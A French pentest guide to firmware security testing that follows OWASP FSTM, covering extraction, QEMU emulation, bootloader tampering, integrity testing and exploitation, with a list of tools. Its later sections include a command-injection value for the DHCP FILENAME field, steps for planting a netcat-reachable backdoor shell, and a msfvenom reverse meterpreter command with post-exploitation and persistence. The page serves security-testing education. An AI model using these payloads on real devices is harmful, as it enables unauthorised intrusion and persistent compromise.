๐ŸฃFirmware hacking

Description

Un firmware (ou logiciel embarquรฉ en franรงais) est un programme informatique intรฉgrรฉ dans un matรฉriel, qui participe ร  son bon fonctionnement et qui lui permet d'รฉvoluer (via l'installation de mises ร  jour) sans avoir besoin de remplacer ce matรฉriel ou de revoir son design. Habituellement, il dรฉmarre le systรจme d'exploitation et fournit des services d'exรฉcution spรฉcifiques pour les programmes en communiquant avec divers composants hardware. Bien que le firmware soit un logiciel plus simple et plus fiable qu'un systรจmes d'exploitation, il est รฉgalement plus restrictif et est conรงu pour prendre en charge uniquement un matรฉriel spรฉcifique.

OWASP Firmware Security Testing Methodology (FSTM)

Etapes

  1. Collecte d'information

  2. Obtention du firmware

  3. Analyse du firmware

  4. Extraction du systรจme de fichier

  5. Analyse du contenu du systรจme de fichier

  6. Emulation du firmware

  7. Analyse Dynamique

  8. Analyse en live

  9. Exploitation du binaire

Collecte d'information

Durant cette phase, On va tenter de rรฉcolter un maximum d'informations sur la cible pour comprendre sa composition globale sous-jacente ร  la technologie:

  • Architecture de CPU supportรฉe

  • OS

  • Config de bootloader

  • Hardware

  • Datasheets

  • Lines-of-Code (LoC)

  • Code source

  • Composants tiers

  • Licence Open Source (exp: GPL)

  • ChangeLogs

  • ID FCC

  • Conception et diagrammes de flux de donnรฉes

  • Threat Models

  • Tests d'intrusion prรฉcรฉdents

  • Bug tracking ticket (exp: Jira, Bug bounty)

  • ...

Obtenir le firmware

Pour obtenir le firmware, il y a diffรฉrentes mรฉthodes possibles:

  • Demander directement au fabriquant, vendeur, ร  l'รฉquipe de dรฉveloppement ou a un client.

  • Le build ร  partir de zรฉro en utilisant les procรฉdures pas ร  pas fournies par le fabricant.

  • Via la page de support du vendeur.

  • Via des requรชtes Google dork ciblรฉes sur les extensions de fichiers binaires et les plates-formes de partage de fichiers telles que Dropbox, Box et Google Drive

  • En faisant un MITM sur les communications du systรจme pendant une mise ร  jour

  • Via des S3 buckets

  • Extraire directement du matรฉriel via UART, JTAG, PICit, etc.

  • Sniffer la communication sรฉrie dans les composants hardware pour les demandes aux serveur de mise ร  jour.

  • Via un endpoint codรฉ en dur dans les applications mobiles.

  • Via un dump depuis le bootloader vers le stockage flash ou sur le rรฉseau via tftp.

Assurez-vous de respecter les lois et rรฉglementations locales lors du tรฉlรฉchargement de donnรฉes ร  partir de services de stockage de fournisseurs de cloud exposรฉs.

Analyse du firmware

Une fois le firmware en notre possession, on va pouvoir faire une premiรจre analyse du fichier directement avec diffรฉrents utilitaires:

file <bin>  
strings  
strings -n5 <bin> 
strings -n16 <bin> #plus long que 16
strings -tx <bin> #afficher le resultat en hexadรฉcimal
binwalk <bin>  
hexdump -C -n 512 <bin> > hexdump.out  
hexdump -C <bin> | head # trouver des signatures dans les en-tรชtes
fdisk -lu <bin> #lister particions et filesystems

Si cela ne renvoie pas de donnรฉes interessantes, c'est peut-รชtre que le binaire est chiffrรฉ auquel cas on peut utiliser binwalk de cette maniรจre pour obtenir l'entropie.

$ binwalk -E <bin>

Si l'entropie est basse, le binaire n'est probablement pas chiffrรฉ. Cependant ร  l'inverse, si l'entropie est haute le binaire est probablement chiffrรฉ.

Extraction du filesystem

Pour extraire le filesystem d'un binaire on peut utiliser l'utilitaire binwalk de cette maniรจre:

$ binwalk -ev <bin>

Les fichiers seront extraits vers " _binaryname/filesystemtype/"

Types de systรจmes de fichiers : squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs

Dans le cas ou binwalk n'aurait pas le magic byte du systรจme de fichier dans ses signatures, Dans ces cas, utilisez binwalk pour trouver le dรฉcalage du systรจme de fichiers et dรฉcoupez le systรจme de fichiers compressรฉ ร  partir du binaire et extrayez manuellement le systรจme de fichiers en fonction de son type.

Exemple:

$ binwalk <bin>

DECIMAL   HEXADECIMAL    DESCRIPTION
----------------------------------------------------------------------------- ---

0           0x0 DLOB      firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380       0x288C        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052     0x1A0074      PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084     0x1A0094      Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41

Dans l'exemple ci-dessus, on peut remarquer ร  la derniรจre ligne qu'il s'agit d'un "Squashfs".

On peut alors utiliser la commande "dd" comme ceci pour copier le systรจme de fichier:

$ dd if=<bin> bs=1 skip=<decimal line> of=output.squashfs

On va ensuite utiliser unsquashfs pour dรฉcompresser le fichier output.squashfs gรฉnรฉrรฉ prรฉcรฉdemment:

$ unsquashfs output.squashfs

Les fichiers seront ensuite dans le rรฉpertoire "squashfs-root".

Fichier archive CPIO

$ cpio -ivd --no-absolute-filenames -F <bin>

jffs2 filesystems

$ jefferson rootfsfile.jffs2

ubifs filesystems avec NAND flash

$ ubireader_extract_images -u UBI -s <start_offset> <bin>

$ ubidump.py <bin>

Analyse des filesystems

Dans cette รฉtape on va principalement rechercher les informations suivantes dans le contenu des filesystems:

  • Deamons de rรฉseau hรฉritรฉs non sรฉcurisรฉs tels que telnetd

  • Identifiants codรฉs en dur (nom d'utilisateur, mot de passe, clรฉ d'API, clรฉs SSH, portes dรฉrobรฉes...)

  • fuite d'informations techniques (API endpoints, IP internes...)

  • Mettre ร  jour les fonctionnalitรฉs du serveur pouvant รชtre utilisรฉes comme point d'entrรฉe.

  • Examiner le code non compilรฉ et dรฉmarrer des scripts pour l'exรฉcution de code ร  distance.

  • Extraire les fichiers binaires compilรฉs ร  utiliser pour l'analyse hors ligne avec un dรฉsassembleur.

  • Utiliser des outils et toolkit.

Emulation du firmware

En utilisant les dรฉtails et les indices identifiรฉs dans les รฉtapes prรฉcรฉdentes, le micrologiciel ainsi que ses binaires encapsulรฉs doivent รชtre รฉmulรฉs pour vรฉrifier les vulnรฉrabilitรฉs potentielles.

Il y a plusieurs types d'รฉmulation qui sont les suivantes:

  • L'รฉmulation partielle

  • L'รฉmulation complรจte

  • L'รฉmulation sur un systรจme rรฉel ou sur VM

Emulation partielle (Emulation en mode utilisateur)

Prรฉrequis: Architecture du CPU et endianness.

$ binwalk -Y <bin> 
$ readelf -h <bin>

el = little endian

eb = big endian

Exemple:

$ binwalk -Y <bin>

DECIMAL   HEXADECIMAL   DESCRIPTION
--------------------------------------------------------------------------------

3480        0xD98       ARM executable code, 32-bit, little endian, at least 1154 valid instructions

Une fois l'architecture et l'endianness du processeur identifiรฉs, localisez le binaire QEMU appropriรฉ pour effectuer une รฉmulation partielle (pas pour รฉmuler le micrologiciel complet, mais les binaires avec le micrologiciel extrait.)

Typiquement, dans : /usr/local/qemu-archou/usr/bin/qemu-arch

Copiez le binaire QEMU applicable dans le systรจme de fichiers racine extrait. La deuxiรจme commande montre la copie du binaire QEMU du bras statique vers le systรจme de fichiers racine extrait dans un shell ZSH indiquant le chemin absolu.

> cp /usr/local/qemu-arch /extractedrootFS/

/home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root 
> cp /usr/bin/qemu-arm-static .

Exรฉcutez le binaire ARM (ou l'architecture appropriรฉe) ร  รฉmuler ร  l'aide de QEMU et chrootez avec la commande suivante :

$ sudo chroot . ./qemu-arch <binaire ร  emuler>

Exemple avec busybox:

> sudo chroot . ./qemu-arm-static bin/busybox ls
[sudo] password for embedos: 
bin               etc               overlay           rom               sys               var
dev               lib               proc              root              tmp               www
dnsmasq_setup.sh  mnt               qemu-arm-static   sbin              usr

Parfois, les requรชtes sont envoyรฉes au binaire CGI par le serveur HTTP. En รฉmulant simplement le binaire CGI, il est possible d'analyser la procรฉdure du processus ou de vรฉrifier la vulnรฉrabilitรฉ sans configurer de serveur HTTP. L'exemple suivant envoie une requรชte GET ร  un binaire MIPS CGI.

~/DIR850L/squashfs-root/htdocs/web$ ls -l captcha.cgi
lrwxrwxrwx 1 root root     14 Oct 17  2017 captcha.cgi -> /htdocs/cgibin

# fix the broken symbolic link
~/DIR850L/squashfs-root/htdocs/web$ rm captcha.cgi && ln -s ../cgibin captcha.cgi

~/DIR850L/squashfs-root$ sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="GET" -E REQUEST_URI="/captcha.cgi" -E REMOTE_ADDR="192.168.1.1" -E CONTENT_TYPE="text/html" /htdocs/web/captcha.cgi
HTTP/1.1 200 OK
Content-Type: text/xml

<?xml version="1.0" encoding="utf-8"?><captcha>
    <result>FAIL</result><message>NO SESSION</message>
</captcha>

Avec le binaire cible รฉmulรฉ, interagissez avec son interprรฉteur ou son service d'รฉcoute. Fuzzez ses interfaces d'application et de rรฉseau.

Emulation complรจte

Lorsque cela est possible, utilisez des outils d'automatisation tels que:

Analyse dynamique

ร€ cette รฉtape, effectuez des tests dynamiques pendant qu'un pรฉriphรฉrique s'exรฉcute dans son environnement normal ou รฉmulรฉ. Les objectifs de cette รฉtape peuvent varier selon le projet et le niveau d'accรจs accordรฉ. En rรจgle gรฉnรฉrale, cela implique la falsification des configurations du chargeur de dรฉmarrage, les tests Web et API, le fuzzing (services rรฉseau et d'application), ainsi que l'analyse active ร  l'aide de divers outils pour acquรฉrir un accรจs รฉlevรฉ (racine) et/ou l'exรฉcution de code.

Test du bootloader

Lors de la modification du dรฉmarrage de l'appareil et des chargeurs de dรฉmarrage tels que U-boot, essayez ce qui suit:

  • Essayez d'accรฉder au shell de l'interprรฉteur des chargeurs de dรฉmarrage en appuyant sur "0", espace ou d'autres "codes magiques" identifiรฉs lors du dรฉmarrage.

  • Modifier les configurations pour exรฉcuter une commande shell telle que l'ajout de ' init=/bin/sh' ร  la fin des arguments de dรฉmarrage.

    • #printenv

    • #setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3

    • mtdparts=sflash: rootfstype= hasEeprom=0 5srst=0 int=/bin/sh

    • #saveenv

    • #boot

  • Configurez un serveur TFTP pour charger des images sur le rรฉseau localement ร  partir de votre poste de travail. Assurez-vous que l'appareil dispose d'un accรจs au rรฉseau.

    • #setenv ipaddr <device local IP>

    • #setenv serverip <tftp server IP>

    • #saveenv

    • #reset

    • #ping 192.168.2.1 #check si le systรจme est accessible sur le rรฉseau

    • #tftp ${loadaddr} uImage-3.6.35 #loadaddr prend deux arguments : l'adresse dans laquelle charger le fichier et le nom de fichier de l'image sur le serveur TFTP

  • Utilisez ubootwrite.py pour รฉcrire l'image uboot et poussez un firmware modifiรฉ pour gagner la racine.

  • Vรฉrifiez les fonctionnalitรฉs de dรฉbogage activรฉes telles que:

    • journalisation dรฉtaillรฉe

    • chargement de noyaux arbitraires

    • dรฉmarrage ร  partir de sources non fiables

  • Configurer un serveur DHCP non autorisรฉ avec des paramรจtres malveillants comme entrรฉe pour qu'un appareil l'ingรจre lors d'un dรฉmarrage PXE.

  • Utilisez le serveur auxiliaire DHCP de Metasploit (MSF) et modifiez le paramรจtre 'FILENAME' avec des injection de commande telles que โ€˜a";/bin/sh;#โ€™pour tester la validation des entrรฉes pour les procรฉdures de dรฉmarrage de l'appareil.

Tests d'intรฉgritรฉ

Tentez de tรฉlรฉcharger un firmware personnalisรฉ et/ou des fichiers binaires compilรฉs pour chercher des dรฉfauts d'intรฉgritรฉ ou de vรฉrification de signature. Par exemple, compilez un shell de liaison de porte dรฉrobรฉe qui dรฉmarre au dรฉmarrage en procรฉdant comme suit.

  1. Extraire le firmware avec firmware-mod-kit (FMK)

  2. Identifier l'architecture et l'endianness du micrologiciel cible

  3. Crรฉez un compilateur croisรฉ avec Buildroot ou utilisez d'autres mรฉthodes adaptรฉes ร  votre environnement

  4. Utiliser un compilateur croisรฉ pour crรฉer la porte dรฉrobรฉe

  5. Copiez la porte dรฉrobรฉe dans le firmware extrait /usr/bin

  6. Copiez le binaire QEMU appropriรฉ dans le rootfs du micrologiciel extrait

  7. ร‰mulez la porte dรฉrobรฉe en utilisant chroot et QEMU

  8. Connectez-vous ร  la porte dรฉrobรฉe via netcat

  9. Supprimer le binaire QEMU du rootfs du micrologiciel extrait

  10. Reconditionner le firmware modifiรฉ avec FMK

  11. Testez le micrologiciel de la porte dรฉrobรฉe en รฉmulant avec la boรฎte ร  outils d'analyse du micrologiciel (FAT) et en vous connectant ร  l'adresse IP et au port de la porte dรฉrobรฉe cible ร  l'aide de netcat

  12. Si un shell racine a dรฉjร  รฉtรฉ obtenu ร  partir d'une analyse dynamique, d'une manipulation du chargeur de dรฉmarrage ou de moyens de test de sรฉcuritรฉ matรฉrielle, essayez d'exรฉcuter des binaires malveillants prรฉcompilรฉs tels que des implants ou des shells inversรฉs. Envisagez d'utiliser des outils automatisรฉs de charge utile utilisรฉs pour les Command and Control (C&C). Par exemple, le framework Metasploit et 'msfvenom' peuvent รชtre exploitรฉs en suivant les รฉtapes suivantes.

    1. Identifier l'architecture et l'endianness du micrologiciel cible

    2. Utilisez msfvenom pour spรฉcifier la charge utile cible appropriรฉe (-p), l'adresse IP de l'hรดte de l'attaquant (LHOST=), le numรฉro de port d'รฉcoute (LPORT=), le type de fichier (-f), l'architecture (--arch), la plate-forme (--platform linux ou windows), et le fichier de sortie (-o). Exemple: $ msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux

    3. Transfรฉrez la charge utile vers le pรฉriphรฉrique compromis et assurez-vous que la charge utile dispose des autorisations d'exรฉcution

    4. Prรฉparez Metasploit pour gรฉrer les demandes entrantes. (msfconsole => handler)

    5. Exรฉcutez le meterpreter reverse shell sur l'appareil compromis

    6. Regarder les sessions de meterpreter ouvertes

    7. Effectuer des activitรฉs de post-exploitation

    8. Si possible, identifiez une vulnรฉrabilitรฉ dans les scripts de dรฉmarrage pour obtenir un accรจs persistant ร  un pรฉriphรฉrique lors des redรฉmarrages. De telles vulnรฉrabilitรฉs surviennent lorsque les scripts de dรฉmarrage rรฉfรฉrencent ou dรฉpendent de code situรฉ dans des emplacements montรฉs non fiables tels que des cartes SD et des volumes flash utilisรฉs pour stocker des donnรฉes en dehors des systรจmes de fichiers racine.

Test d'applications Web embarquรฉes

๐ŸŒpagePentest Web

Analyse du runtime

L'analyse d'exรฉcution implique l'attachement ร  un processus en cours d'exรฉcution ou ร  un binaire pendant qu'un pรฉriphรฉrique s'exรฉcute dans son environnement normal ou รฉmulรฉ. Les รฉtapes d'analyse d'exรฉcution de base sont fournies ci-dessous:

  1. $ sudo chroot . ./qemu-arch -L -g <gdb_port>

  2. Attachez gdb-multiarch ou utilisez IDA pour รฉmuler le binaire

  3. Dรฉfinissez des points d'arrรชt pour les fonctions identifiรฉes lors de l'รฉtape 4 telles que memcpy, strncpy, strcmp, etc.

  4. Exรฉcutez de grandes chaรฎnes de charge utile pour identifier les dรฉbordements ou les plantages de processus ร  l'aide d'un fuzzer

Exploitation du binaire

Aprรจs avoir identifiรฉ une vulnรฉrabilitรฉ dans un fichier binaire ร  partir des รฉtapes prรฉcรฉdentes, un PoC appropriรฉ est requis pour dรฉmontrer l'impact et le risque dans le monde rรฉel. Le dรฉveloppement de code d'exploit nรฉcessite une expรฉrience de programmation dans des langages de niveau infรฉrieur (par exemple ASM, C/C++, shellcode, etc.) ainsi qu'une expรฉrience dans l'architecture cible particuliรจre (par exemple MIPS, ARM, x86, etc.). Le code PoC consiste ร  obtenir une exรฉcution arbitraire sur un appareil ou une application en contrรดlant une instruction en mรฉmoire.

Il n'est pas courant que des protections d'exรฉcution binaires (par exemple NX, DEP, ASLR, etc.) soient en place dans les systรจmes embarquรฉs, mais lorsque cela se produit, des techniques supplรฉmentaires peuvent รชtre nรฉcessaires, telles que le Return Oriented Programming (ROP). ROP permet ร  un attaquant d'implรฉmenter des fonctionnalitรฉs malveillantes arbitraires en enchaรฎnant le code existant dans le code du processus/binaire cible connu sous le nom de gadgets. Des mesures devront รชtre prises pour exploiter une vulnรฉrabilitรฉ identifiรฉe telle qu'un dรฉbordement de tampon en formant une chaรฎne ROP. Un outil qui peut รชtre utile dans des situations comme celles-ci est le chercheur de gadgets de Capstone (ROPGadget)

Outils

IDA

IDA est un outil d'analyse statique de fichier binaire. Il existe en version Pro (payante) et Freeware (gratuite).

ressource: https://hex-rays.com/ida-free/

Firmwalker

Firmwalker est un script bash permettant de rechercher dans les filesystem du contenu sensible.

Utilisation:

$ ./firmwalker path/to/root/filesystem path/for/firmwalker.txt

ressource: https://github.com/scriptingxss/firmwalker

Firmware Analysis Comparison Toolkit (FACT)

FACT est destinรฉ ร  automatiser la majeure partie du processus d'analyse du micrologiciel. Il dรฉcompresse les fichiers de firmware arbitraires et traite plusieurs analyses. De plus, il peut comparer plusieurs images ou fichiers uniques. De plus, le dรฉballage, l'analyse et les comparaisons sont basรฉs sur des plug-ins garantissant une flexibilitรฉ et une รฉvolutivitรฉ maximales.

ressource: https://github.com/fkie-cad/FACT_core

EMBA - Embedded Analyzer

EMBA est un scanner de firmware automatisรฉ permettant de remonter les vulnรฉrabilitรฉs prรฉsentes dans un firmware et d'en ressortir un rapport dรฉtaillรฉ.

ressource: https://github.com/e-m-b-a/emba

Firmware Analysis Toolkit

FAT est une boรฎte ร  outils conรงue pour aider les chercheurs en sรฉcuritรฉ ร  analyser et ร  identifier les vulnรฉrabilitรฉs de l'IoT et du micrologiciel des appareils embarquรฉs.

Exemple d'utilisation:

$ python3 fat.py firmware.img --qemu 2.5.0

ressource: https://github.com/attify/firmware-analysis-toolkit

Emux

Emux (anciennement ARMX) est un framework d'รฉmulation de firmware.

ressource: https://github.com/therealsaumil/emux

MIPS-X

MIPS-X est un framework d'รฉmulation de firmware

ressource: https://github.com/getCUJO/MIPS-X

FIRMADYNE

FIRMADYNE est un systรจme automatisรฉ et รฉvolutif pour effectuer l'รฉmulation et l'analyse dynamique du micrologiciel embarquรฉ basรฉ sur Linux.

ressource: https://github.com/firmadyne/firmadyne

Qiling

Qiling est un framework d'รฉmulation de firmware avancรฉ.

ressource: https://github.com/qilingframework/qiling

Peda

Peda est un assistance au dรฉveloppement d'exploits Python pour GDB.

ressource: https://github.com/longld/peda

ROPGadget

ROPGadget permet de rechercher vos gadgets sur vos binaires pour faciliter votre exploitation ROP. ROPgadget prend en charge les formats ELF, PE et Mach-O sur les architectures x86, x64, ARM, ARM64, PowerPC, SPARC et MIPS.

ressource: https://github.com/JonathanSalwan/ROPgadget

Firmware volontairement vulnรฉrables

Derniรจre mise ร  jour